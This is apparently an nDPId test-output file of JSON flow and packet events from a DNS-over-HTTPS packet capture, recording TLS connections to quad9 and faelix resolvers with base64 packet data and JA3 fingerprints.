HX3wSuBELuShY7dZHSjQzxqOJfeGLr5ThoXw5ldv54ifSY52Lfxp8BkElu7BDDbf4F6XdVR3aRKy8Yk7ooQevFc0GOsxn7jXeMuFiaf9M\/MspabzWIKD5sTaMPvexVqQrSIhAE01MVqTa8zAs1n4D9AszPAZaArvvaw1dpUAGCn22YGrLkylRxMCN07\/HyOXir6cpxUbsvRgSag8LgIuYbY\/Ta1KZ2trDeXprvYofOqOqX\/ep4LHzQHiCFm14LvDzSoMa4qqUdxfJfOjiZQVsJdT+2uThs188toZRMoZsziXxP++fZpO4m\/wGTJ13ciJYHkQjnaWtFJW9KHR4pPyXX3T1W5XcomUZpNi+tnQlSKiXPl02KPyhw0qdY8Z0WoKV536f3wtH00HuTa3UIk1hZxDmxFcYOKvSwc"} +00821{"flow_event_id":6,"flow_event_name":"detection-update","thread_id":0,"packet_id":114,"source":"dnscrypt-v2-doh.pcap","alias":"nDPId-test","flow_id":9,"flow_packet_id":2,"flow_first_seen":946739311335,"flow_last_seen":946739311357,"flow_tot_l4_data_len":1777,"flow_min_l4_data_len":305,"flow_max_l4_data_len":1472,"flow_avg_l4_data_len":888,"midstream":1,"l3_proto":"ip4","src_ip":"10.0.0.1","dst_ip":"9.9.9.10","src_port":51770,"dst_port":443,"l4_proto":"tcp","ndpi": {"proto":"TLS.DoH_DoT","breed":"Fun","category":"Network"},"tls": {"version":"TLSv1.3","client_requested_server_name":"dns10.quad9.net","ja3":"d0ee3237a14bbd89ca4d2b5356ab20ba","ja3s":"15af977ce25de452b96affa2addb1036","unsafe_cipher":0,"cipher":"TLS_AES_256_GCM_SHA384","alpn":"h2,http\/1.1","tls_supported_versions":"TLSv1.3,TLSv1.2,TLSv1.1,TLSv1"}} +02540{"flow_id":9,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":115,"source":"dnscrypt-v2-doh.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":946739311,"pkt_ts_usec":358034,"pkt_caplen":1616,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1616,"pkt_l4_len":1582,"pkt":"ZmZmZmZmRERERERECABFAAZCEqxAADsGVDsJCQkKCgAAAQG7yjovh\/nRsa+7AVAYAHfZAwAA1xiWPE9sRZ+HRED66TQP2BK\/H\/\/55yXpchOqptSfdmizDwWdekTWC4fynK8Z2sZPt7VLeiJJja8C3BQX9Rz0xZnn1eoThbbJA0Ru7pA+5J7tyanMo4IQcPUIBSO5p49Bymfzm29G5qjErMG7mQ0OPPjTCRaB\/UjgjbKvSEcd8\/qlBT71ZfI4uv2myCBr7kstCCXPIR18CKF+Z2\/VrH6vxRdx\/DMaAsMgc41PzNU7xNOukRDZxOR62YLQKe5TOm9eGAE6qQfGiWVQuBPTBNCMLbyMtxxnLWSXpHUM8lAFCuaK7Kc6QBacccBEf2G6WUxZTWFo3b0bLTLXGsaAdMgEEvX57cRGL6Gq8YWmgloFc0L4YPSBPg4QXqG2603cgV+j6PlTHv6e2HefSTdXdeLXiPRCN345+9Y7w0ERX6leOOccKhVG5SuGrnMow7zmCn7a2KZDo6IK6nPbbrDUtvAROe\/2qAE2VCX9KID9EijWEziQ9XCbVPjeL02DA\/rYN7wYXRiJgCIeBs3cXR7OygqBY2+3+XFzo9TaLSJOjL2D0foR73wSCVhYWptmpzwaIHjhZCo4rI5hdLdI5wijBOAwhmr7WRW8Yv8AQsnvt1Z4coLNvTRubKzb6tX\/Oxf2jOtE8ql46ReYSM8F\/WAKChrNRMIbb1FxJ7q10gZXMDttRcPXX\/qGmHUzaGCJmbtVGS68jgVwThCO60XMMu84lvsX\/Ppf9SgVkWGycwU0+7rBExjec94Gk2PRYtyBh7FtK\/ojKF2Zx1IbH4Ped7sLfGR4i7sMPLWNn+T5wJpId2IpurmzQEup+Wmo7GS+GCV0scp4nxOFT1awumcjwSZT8bYpF93Gq1VRsPaw1Ed8OHX5e5gmoY4MVzie+NT9SEgMn6ichQsu5snHAMbc8\/IWQxw1j4WN38V6zcIh4u4V1Gd7SkhAHeYNQaHO8zyvvE8ImQNU3iYNHLIKvw9jrqWUBqp23GQnf3jir7+jnbT6O6iTPLexjWoZTCF\/FtolEJ0e895tZWyhQDvFKtQE5PBsOvi7\/BalOF7pvRKDn\/re0ni0oWgQPdEaU+LIaPzCC8LkWYd5oE27150iJxzh1Gp8SiKQXDLhLhi579hHj1+ols2JqJH8RdJfR0+VmnJeuW7LLf+BRMSJBXoQCCLgwxC7f\/h7fFu2xKC0W6c42fJZaQRckgm7zcULCvbrdB3\/7TiSzFX4IqscHoIIazQksB3SnhTuJmLtEq0s5iQGUGxfhlMGhmMgzukQ6S3xziGVGLlkCIIbeLTBQrX9TXDN8S1GsZEFqBjMPt\/N1zN3ViQ2J2at2dPSgSFskYDCKI7W279fwmbZs7V8tsMKdl7zI9bVkSm8TK+VOCU7uRHndZTCFD0rVG1nulq\/L99PnlHGAGXK\/CqGETUVVLlDxaOxEAgpjONuItzxylFN2ddXgvj3hTCiDE8O0ZeY5HxF3kaLieLFjiKlcFdLwH+yoWIasdZ5ETRJVqr26OzVYBTCPTfSgbwHD0EdFC3v31MUjg04ocQ4ZiFf7dRFVtWmOWN0r2SpHXy2xEBvMuqeP3vQyXuuz6g6Dn7YZmJY0+sx4Fy9C8oBJAE0ZwKxguZmJv1GeQHP6tU\/veMnBxdJr3tx5OgYDk+909nj4a5TD3cRR1pqKY8PwvBnQ1a7o21Mx6az\/nj775\/EQh2soovj6zthqPP\/vtXFBBG3tG\/sEPeFuYX44cpRhz5K3N4JqP6Lp6W3KZYJ1EwmXdPWiQcbK\/K0dzC4LCmApJnMsipnxLFAxIsyZnv1pRKdZtp6E4ZNkwItTRiePKudtegvLH1+qbg3pXvAj\/AueIMUCY+nZ2bEiLI67RcDAwBgsXSJyFgjJRWpsUIwFa+B3HudQHKrExr60U8JLlKkL\/P\/S+PEy7whFdA90+7WJF1F8DCmOjyvxxrrWdZx35m5pHvRkiSavCeWDYlRzcWBeiUF0TAz0e0CdFpMI0nfm+C5FwMDAEXIcqRX1+3I4YBN1ZyTwBh\/\/IzIU5lJHrJKAnGrUu2ocpCQI2eEwS+zVK0zKk1o2WUWMhhsV2wCrUmzne3qZHF1rWYeRVk="} +00528{"flow_id":9,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":116,"source":"dnscrypt-v2-doh.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":946739311,"pkt_ts_usec":394899,"pkt_caplen":134,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":134,"pkt_l4_len":100,"pkt":"REREREREZmZmZmZmCABFAAB48XFAAL0G+T4KAAABCQkJCso6Abuxr7sBL4f\/61AYAfXTOQAAFAMDAAEBFwMDAEVsvNBLawQQ\/QfxJf3NLpeF7eAiUlhCDm37dRf6vXOC0VcPLFJUrmdWYdRdI8w8wDD+uKAkMT3Wsv2DaZVXdNXVQPPAkgM="} +00536{"flow_id":9,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":117,"source":"dnscrypt-v2-doh.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":946739311,"pkt_ts_usec":395002,"pkt_caplen":140,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":140,"pkt_l4_len":106,"pkt":"REREREREZmZmZmZmCABFAAB+8XJAAL0G+TcKAAABCQkJCso6Abuxr7tRL4f\/61AYAfXTPwAAFwMDAFFoIkgZAncDrVQtZhxU59u2TnfYXuklezZY\/lnRCXnYBC1Rn+rtNjTEGwm84kLz7QwRhvXYq2B9+mlphTgCBe3P2jyxhVVoBcmooRlGblt7DM8="} +00651{"flow_id":9,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":118,"source":"dnscrypt-v2-doh.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":946739311,"pkt_ts_usec":395119,"pkt_caplen":225,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":225,"pkt_l4_len":191,"pkt":"REREREREZmZmZmZmCABFAADT8XNAAL0G+OEKAAABCQkJCso6Abuxr7unL4f\/61AYAfXTlAAAFwMDAKYZJOg3XAYAord7aI6NvWcxk5WNW16atD42q5girOKJV0b6rPC5XYaqJTP3KYeUDN5rQfvf2helUNMhSY74neuMV4umU+OxFnJrY+Qkw6Ft2v9\/3NqX+V13r46k9\/CnwLkdTR9Us\/h\/Ekx6AbEikajcydVh9hqXGjiTATQ5O3DxcwOEsGUUPoJebpOrmr8wsEgfT+jF1JbTSMxkC6H8X2pjmi+SwVnD"} +00527{"flow_id":9,"flow_packet_id":7,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":119,"source":"dnscrypt-v2-doh.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":946739311,"pkt_ts_usec":395166,"pkt_caplen":133,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":133,"pkt_l4_len":99,"pkt":"REREREREZmZmZmZmCABFAAB38XRAAL0G+TwKAAABCQkJCso6Abuxr7xSL4f\/61AYAfXTOAAAFwMDAEr7A5vUIh2EgkJkabwMXu1kKb0CvxVKdNb3jWLb2Up6qqHpF\/wbFof14rZrnKHF9GLkq0fidWS8UvRS4X+Ix6WySA7NB7h59xAaHg=="} +01113{"flow_id":9,"flow_packet_id":8,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":120,"source":"dnscrypt-v2-doh.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":946739311,"pkt_ts_usec":416149,"pkt_caplen":564,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":564,"pkt_l4_len":530,"pkt":"ZmZmZmZmRERERERECABFAAImEq9AADsGWFQJCQkKCgAAAQG7yjovh\/\/rsa+8oVAYAHvGXwAAFwMDAPrXRJAU3JipbtYdjVQlu\/8ZNrrbkbMhK\/zKy+43mV7zFf1CtNfRdyfxKoy9Ojwauz95D2ASj5WzwFfEBbjxF5EyHGqoDDeRkS97yDOUsInBUZiDNwXwI7ENxS\/3m79t\/\/QBSVrtK+Ag2IQnlDyVgiFIfiqFg3rqopyOVptY4SQpfv2htmGNviCxq+2tg65Lm+fFj6vT7b3ZZWXdh5w13hf8nIIonvTuEOEuoQQGpCVwPetjUyzF+yC12l13sOCaeAfOloi8TvQjohY5wocw6U9b2q7edDDjC6aoCOVJ+UgJXw6+nOSl\/z5OuewL91xdVzHKxqtKJSxR7FJRFwMDAPqPveoYpUCPLym5Bq0FcVZZO4P7nWaewThROYMUTXWq7nReDX3G2JcwDxkOVZGicJPDMUCZ93RjOf\/VuwRM2tZWfERKyFh3189yu5HWT9Lqicw5iJVfG8WrqVqK1MeO2ppEM\/BUGR5RHyQebi6JWPUftuqxMmCkXwaqm3FfPP73os55LRQ9zaxpOBXHIQM8iPsLUuXp\/FIBZKeqS0xi8lzvWeAZ36v8zarBOE2rrRsXaoJbDt5ooept7t7kVQfgmyF\/rYKA2+aGcv\/r8W43bth2VrLJYSqENaWhq48YazvVnqkXQcoGJY\/S+snlPyxXZTX2W\/vqtBUlzTyM"} +00490{"flow_id":9,"flow_packet_id":9,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":121,"source":"dnscrypt-v2-doh.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":946739311,"pkt_ts_usec":416185,"pkt_caplen":106,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":106,"pkt_l4_len":72,"pkt":"ZmZmZmZmRERERERECABFAABcErBAADsGWh0JCQkKCgAAAQG7yjoviAHpsa+8oVAYAHv8PQAAFwMDAC8ZtiTidBWhji9TVOFf+RnoBTjL\/rvLzjFpe7vLKmU5Igqocn9WmG75UPlYg6Cfkg=="} +00464{"flow_id":9,"flow_packet_id":10,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":122,"source":"dnscrypt-v2-doh.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":946739311,"pkt_ts_usec":416194,"pkt_caplen":89,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":89,"pkt_l4_len":55,"pkt":"ZmZmZmZmRERERERECABFAABLErFAADsGWi0JCQkKCgAAAQG7yjoviAIdsa+8oVAYAHsrEwAAFwMDAB6Gi8+63oqhpzPdgJlBy8hd9Yk30XMu61UnhXIvomA="} +00464{"flow_id":9,"flow_packet_id":11,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":123,"source":"dnscrypt-v2-doh.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":946739311,"pkt_ts_usec":416338,"pkt_caplen":85,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":85,"pkt_l4_len":51,"pkt":"REREREREZmZmZmZmCABFAABH8XZAAL0G+WoKAAABCQkJCso6Abuxr7yhL4gCQFAYAfXTCAAAFwMDABoIeNV+S+IlWMFMt\/t\/7BnUO\/\/esewX+XLoWQ=="} +00877{"flow_id":9,"flow_packet_id":12,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":124,"source":"dnscrypt-v2-doh.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":946739311,"pkt_ts_usec":416881,"pkt_caplen":392,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":392,"pkt_l4_len":358,"pkt":"ZmZmZmZmRERERERECABFAAF6ErJAADsGWP0JCQkKCgAAAQG7yjoviAJAsa+8oVAYAHt3yAAAFwMDAU2EfgcXgEYsX8okkL+76XQ0B1WowVBiK+lrgKd8qdyzjaNsuyp8VcqLE6Dngt50\/1H1btlIGQ328Y3WJcoJ5uZe9UG3C+FkWbJEiNHdEs7MS\/TyDNvEG7x7CquzPcEhBORF9BknSKMsedFc6Wly5KQFcHAQzy+Lw0ZcZ+FBqloo345MFtQnEwgBshjniPTA0cOdJ4PX4Yvvl85kCdKZ+fsHA7bPwmFqKv+aQnvOI+jiq2w21fS\/K4MDXI5S5Or2f2CkGtgxWhlruU7f8969FQlfpJwozD0oxdhtxJzo7Vofsrv5YXTLfLydAiE2uGWJFnesCRJ0kJtjOMwFWxgHup4WQre+e8KsscKYH4vQb\/WkvkeNd7Zd9\/XtjI2dbU\/5aA3rfMmYbtVrPxe+NuEU3Ugvno7iwKilAFZJSVQpQbTuZnrUyQUxAFvXaGFSw8g="} +00563{"flow_id":9,"flow_packet_id":13,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":125,"source":"dnscrypt-v2-doh.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":946739311,"pkt_ts_usec":417268,"pkt_caplen":159,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":159,"pkt_l4_len":125,"pkt":"REREREREZmZmZmZmCABFAACR8XdAAL0G+R8KAAABCQkJCso6Abuxr7zAL4gDklAYAfXTUgAAFwMDAGR9NyGzywy8SdhomKhtO\/rl30vXbMuXESX\/Q8svv20kgZYHPLVif9KPBXpYw79WxwwmtvYreHRJn7\/WUhroH5ZlNkuGsDwGzjA6xI2Sey+ge6QhNtyEV9KdchXRnVn2Msg\/+Eh0"} +00569{"flow_id":9,"flow_packet_id":14,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":126,"source":"dnscrypt-v2-doh.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":946739311,"pkt_ts_usec":417407,"pkt_caplen":164,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":164,"pkt_l4_len":130,"pkt":"REREREREZmZmZmZmCABFAACW8XhAAL0G+RkKAAABCQkJCso6Abuxr70pL4gDklAYAfXTVwAAFwMDAGkxHi7McmOLywyC2PPw48UhmG\/9LXtg7UsntSmiizF8Yv9hL\/Ad329PtDJntMJthJHT0ze2DDxyNWp+GsXY2IzfJqhuk3CVqOHhIXcY+f1E6Q0xPMk6i38qjmbOTbgzfhZkNPGDhHAtPqQ="} +00670{"flow_id":9,"flow_packet_id":15,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":127,"source":"dnscrypt-v2-doh.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":946739311,"pkt_ts_usec":438918,"pkt_caplen":238,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":238,"pkt_l4_len":204,"pkt":"ZmZmZmZmRERERERECABFAADgErRAADsGWZUJCQkKCgAAAQG7yjoviAOSsa+9l1AYAHsy3wAAFwMDALOz4PktMFNHUYrjN62jZzcxw2rdFk9CrcaNJdo6vQJbYD3BkXnVTr8yO7lhjCoid0EqYQG+pQtv2M1dVuSBYMKnxUHfKmyRLxDA4ztpH9k6i0xArNPBFhlubjZeUmnLnGOFdZcEY5NrixI1zSznaRB0eNi4NZNdo8W75WFzCb7Bh473FVqN60zSDdXW9\/k84Yy\/z5tJw2QECH94F+ndKFsosBHDrntfy138Vv86iPQcEg\/geQ=="} +00483{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":139,"source":"dnscrypt-v2-doh.pcap","alias":"nDPId-test","flow_id":10,"flow_packet_id":1,"flow_first_seen":946739311566,"flow_last_seen":0,"flow_tot_l4_data_len":305,"flow_min_l4_data_len":305,"flow_max_l4_data_len":305,"flow_avg_l4_data_len":305,"midstream":1,"l3_proto":"ip4","src_ip":"10.0.0.1","dst_ip":"185.134.196.55","src_port":55322,"dst_port":443,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00803{"flow_id":10,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":139,"source":"dnscrypt-v2-doh.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":946739311,"pkt_ts_usec":566393,"pkt_caplen":339,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":339,"pkt_l4_len":305,"pkt":"REREREREZmZmZmZmCABFAAFFTLFAAL0GMYcKAAABuYbEN9gaAbsU0wRrjALq7FAYAfY\/sgAAFgMBARgBAAEUAwN53D+IdbyKMqUcdChlG3BH1byG6PSts1pdzll38jdueyClHPY2D7aJB29xaaA7zmDQUztgP6bTAGw+VMEA\/cNmhwAmwC\/AMMArwCzMqMypwBPACcAUwAoAnACdAC8ANcASAAoTARMDEwIBAAClAAAAFAASAAAPcmRucy5mYWVsaXgubmV0AAUABQEAAAAAAAoACgAIAB0AFwAYABkACwACAQAADQAaABgIBAQDCAcIBQgGBAEFAQYBBQMGAwIBAgP\/AQABAAAQAA4ADAJoMghodHRwLzEuMQASAAAAKwAJCAMEAwMDAgMBADMAJgAkAB0AIASid2tq+mdmASZBUTGU5iyt2F1JUvrNCp22BxrDleoO"} +00776{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":139,"source":"dnscrypt-v2-doh.pcap","alias":"nDPId-test","flow_id":10,"flow_packet_id":1,"flow_first_seen":946739311566,"flow_last_seen":0,"flow_tot_l4_data_len":305,"flow_min_l4_data_len":305,"flow_max_l4_data_len":305,"flow_avg_l4_data_len":305,"midstream":1,"l3_proto":"ip4","src_ip":"10.0.0.1","dst_ip":"185.134.196.55","src_port":55322,"dst_port":443,"l4_proto":"tcp","ndpi": {"proto":"TLS.DoH_DoT","breed":"Fun","category":"Network"},"tls": {"version":"TLSv1.2","client_requested_server_name":"rdns.faelix.net","ja3":"d0ee3237a14bbd89ca4d2b5356ab20ba","ja3s":"","unsafe_cipher":0,"cipher":"TLS_NULL_WITH_NULL_NULL","alpn":"h2,http\/1.1","tls_supported_versions":"TLSv1.3,TLSv1.2,TLSv1.1,TLSv1"}} +04347{"flow_id":10,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":140,"source":"dnscrypt-v2-doh.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":946739311,"pkt_ts_usec":603972,"pkt_caplen":2958,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":2958,"pkt_l4_len":2924,"pkt":"ZmZmZmZmRERERERECABFAAuAg39AADQGeX65hsQ3CgAAAQG72BqMAursFNMFiFAQAfVJ7QAAFgMDAHoCAAB2AwNkY5ffptLk\/1RQxoHPHysW3r9+0ddQo4Z3YjqxuStqKyClHPY2D7aJB29xaaA7zmDQUztgP6bTAGw+VMEA\/cNmhxMCAAAuACsAAgMEADMAJAAdACDs3oZu6oN3lGaq4ly6\/hAqFwB\/djty35eYhaI2Lxe7SRQDAwABARcDAwAgv82VBnjlaTkDEuDhSukFo4HH4nI6fax\/zFPW2XozJ0kXAwMOr9L3WKPFCRevhqaVGoGS+x\/kXxxMckfNoOqk04UOi2nffzkls4dz\/6PwTgD2O+tiYezNJxr\/6WpHVX82B1TCh5LVuQtfmobZqrhUuztxfuDnZpjdtqBFN8\/ThU4OUKCLhdBohaEJUJaODtpSPbvHLMo+XUoovzoT0\/zM8eQTXQpCXzBBMJx7xHTAsbkvGn3C+AG5zWAlrqlt8rw8cJvpcKk420r2AjCbqQCcOhIk9fgtrE6sGQpDmvb1eDYkMJL0ZWhtJpArnw4DJbVlN2eqshODC2oEeU4LRs6HxumiPK1q9BAYm9j4B\/VQvljlxD1l2D54nI0XTtCqzYVH05VeNSyKwY99P0gfk5KbNuwMkg76KjoZ0pANDmDoK2O7MRcalHkbOzBtmCZzhD7k0YW7eqNkMU5wTjhw6\/SKqF25gZNB9Nt6RXkKo6zhp67SL4jpzGRuSRzfeNfXwE70s6GkDEHT87ePp0CPZwkccES0koYuFCUJ8ZPaF51CsuO3hEK6HLj90BijpqZSqxhfc1mm\/yqD3lLZlsT6EnUdCBK75PQ4LqFtNj1aZVWZmY0bISdBsjTgcU\/azUhlVpbtuwFzbRgeZMjYItDFV3G2Mz1lBTIG8+EI15TAfiX3THktTEDNdXWRIKZWc6CdSZSTQj5epKSMIDeZ3ym23Y5D0uYv2rRWwF77WpaBXG+MUxbpeWleGLZxmojsUrhsTN3K\/SO4YTnIH3mEDcbuEL\/C6kXZUUc3JKUkSmGmNO61dgMehbma4fB8llee+ia3ZxrMWwvGiTS2tpm78Rjdk2lVGQ4Kw0Hv16lr+xG8BLc4CMV63wU9gsM8SvlR14rXUIcZ1w1IVKRMCPj5\/ktzqCSdsd7JLAu6iqnF+tffAp0R7hABno4kl79WtkvKmhCxs2C9rHaxhWuglRBec9Q1dOU4n\/q5s3oTaT0MWOiB9FA9hPVkcr5rHO5WTaUTZCO3f07agWWupUC0SrT4kMq2F7GC\/qyJUokz54psYmDyksoYU5W4XunHAPWif32UI8qTU8ZnD9BGfH74hn454rDYVO6L7CccMxZlmp851erV6hvxeQE4QFic5+4T+9IQsqcHez2OFejw6vdevdAwPVqE+KjL4UP+MGf4lbUn4WzekrRNg4+OLWhqMW5jPxgVFLL1X\/7LXlyiUW3FZsQlx3wHUnrfnXgRsgIdVSezz4HY0222o0JjMjRIsMAML27omWMbFkL1GH9F5whlSmkQo7tR4pkO8ZObYU6gN63eRur2pr9yUb6mdaHxKmoMOtTc07t4c0mmYRPcKvUuGEq\/qFZAib\/Cn9qtJSED+KsOJFP3lcOvHyBWmDkPTuXhIirjxvNRHlhpCinnvq51BRLv0iIYtLa4+FWzOnZxdtRmb+J7gXcYqMUZr8f9hSbjcXpRs0qTCNkn\/vEFebnj0Oa5wWQ\/wyYqcIXbH0+Qg2t4MHCtt5puUCcnWiddPmXVCEbusxDhj1mW7Wb7s7TbeMJNHqJK2wkpexuwL1VqKOcMpKkVK63qTpeBRS7pKr42\/e4RAue3aCNMwXb2qN+nhV\/yAs+no2\/T8CA38S+A3XjJrTp3nRj3b7uYGTvq6vgcySIveyFsNVxbpOrMNJwA55r7OmJm\/TMMYu1Cmm7ApgsYESAyvVbBcTmlsCXf4kc5\/PCSNGVGXc3ry7HZ6UrNLiBxVinlqk+M5YS+nDMxRpBRZ\/l5jocQH\/hTpYeDeBYM6nlOI3a42ojQOf0qu\/s3tJK0pVMQq+L3fiObQL0w0ki8zB\/Pq94eJzcgGDCpDBI5rSkrXqKSKwE\/TPxGGb4EW3iPF5GMaLLk69BANjmbdOWrRbmSOZIerFLKML4S4ISArr9z\/Hd6jn9grfPQF5QPRgsy72snzNYK+cdD78EVK3JLSsYYqn88MbAXaWnvt\/NrtPJL0QXd+HGti75Czr60Z2exrtdLfvuyhP6EA\/OJF74UO1DMZkdkO4dBy70z4Gu4gpkQ7cqPDY0GZ19ZQkhDdIe6tY\/KPM4UldVfU5Ox+v3aicLwXXKsL1aYiIDMExLQqDr8Vp6Rg8MhQd15RVUWWezyYpN93w5RckR2WthYnNZNsPa7iVvEbmCiUoUkbzt39o4APEG2T8nb60w4QPGzL8Bs+6zqpdT6PPZQOoSFcrit36uSRZP8iGT1fW72Vs+Zxy5GcZuta5oSW5oky8Ru7NnhXKgfldlxRBIOjtCyzFizIawHPWtdb1FNijZyZVKdj4BP0ocR0b5RYPeWT1DhR9qwqhFmLRHqWhBkA5vK7BpYSEPmeNp9JvF8mc9PzqPXFx4qv46sa0RB9Om1TkSniqOmaKfC0VJ55FKEd3mCSVa1mQ2nzlNyLUC\/G6NFqNfA87dMc8kmjkPDW9L4TPuUdk6cFk2SWFMlOT4UEAqyKhiuK9S2TSwt8uFOPCTdi2gCXoEJdX+9z6vM3zP1D618aG60X5Ut6n4\/mqqX3ZYS740az2d1czqYB7kjzMa99L4RSKw9Nv7MMuwMNSxkhAXISg5MWpacHw\/KAdEQ1nUyITpRoICmtn4wFkGI6VHWSC4OZg5gMWs1Z3587N6CIw3eN5rLnfYJ5l6ZBNqLnr+ciVip8x2IDHWDGTGr5OC+uJxAOEMiK+fcS0il3LgKzbRTF6C8+Y0IWjT3NlBZzIZBcCE3FjrijIv+69vNs6VJAKOlSW3f43x0FPmVvFyGHd0hZ6go7pV\/2O1uABkUwtp9Jfvr8prX7E0NzIH8AuTCtktrwjOAvCJu4CHVfpkaygbTIxPH5m45oyD64MuKPbsc5SlgZwhfZunmTwVDMaVpXGfayrmusZgZ\/07zHxvKOvoAfTCZXoYameOeAqJlNLuCW2W26TogT5fb\/9WF1j5kVLVJW3+Xr3WsDu87Z6wA7xpdVjSQWvWXCJ9y6jEXbNwmvXmeHALYBp+DdvlGU6uIsmqv2tJETpbTRkgR+f7Dhm8aD8084eT\/a67jbRGqTJcyCWp8HFxcSFdtdPKZoErFiYrC7xPgwqW36MeKC3pPi5nT9yuHbuL7yiKV4x9J1dDJBmuStOS8bPFHHOamsDufj+1xHeCKIDfJN+meXy0zdvw70PEKqqZXmCwfi2TfqRVP7d77vAzcphP1F9+RnUlovNNUieiBKgaaaLwfIEAiD84YhuItQrVIeJCa0jqOgMbgEKi1twm5DKS0bcizlDtDFNkFvRAghS6l8H5MMzc8ps2oVnq34RHWoVdxAXCkHDkkmpkGwGKoEP+YEVOArEfXlh0taA60GiWgLXrspKhJVAnjFiuxV1QiMjD4R5UbJ+BnJTGXsaH\/yPppjwU5bzpYvq1TPW2pdHuooLQ3rQ5gXMFPVeJEv4l3u9D\/o1MxYmTHF6ag0Pg7EYa9IiJh8NJsAWlNoM+jz3\/neEdRD31BwTKccVefTs8giAaZY3hKJ1XXe6Hys7XZMAJR72EIr5DA0qa2euR8ERpA8eew\/h0vqG8NScpvxxA8Cdjmhn\/JwaSSF9ubglNVw4f\/Z3JUgBYq3\/\/+9aFTg5SP56AY5voL2goU8TTHIbBp4JfOUmUTToGPy4GEqVcJNDAs6V2L7PobZ6srGT2l40lZacD46Db+MrlADUrWNBC6GAGEaOIzjsVXO2C7zOXrZPBi"} +00829{"flow_event_id":6,"flow_event_name":"detection-update","thread_id":0,"packet_id":140,"source":"dnscrypt-v2-doh.pcap","alias":"nDPId-test","flow_id":10,"flow_packet_id":2,"flow_first_seen":946739311566,"flow_last_seen":946739311603,"flow_tot_l4_data_len":3229,"flow_min_l4_data_len":305,"flow_max_l4_data_len":2924,"flow_avg_l4_data_len":1614,"midstream":1,"l3_proto":"ip4","src_ip":"10.0.0.1","dst_ip":"185.134.196.55","src_port":55322,"dst_port":443,"l4_proto":"tcp","ndpi": {"proto":"TLS.DoH_DoT","breed":"Fun","category":"Network"},"tls": {"version":"TLSv1.3","client_requested_server_name":"rdns.faelix.net","ja3":"d0ee3237a14bbd89ca4d2b5356ab20ba","ja3s":"15af977ce25de452b96affa2addb1036","unsafe_cipher":0,"cipher":"TLS_AES_256_GCM_SHA384","alpn":"h2,http\/1.1","tls_supported_versions":"TLSv1.3,TLSv1.2,TLSv1.1,TLSv1"}} 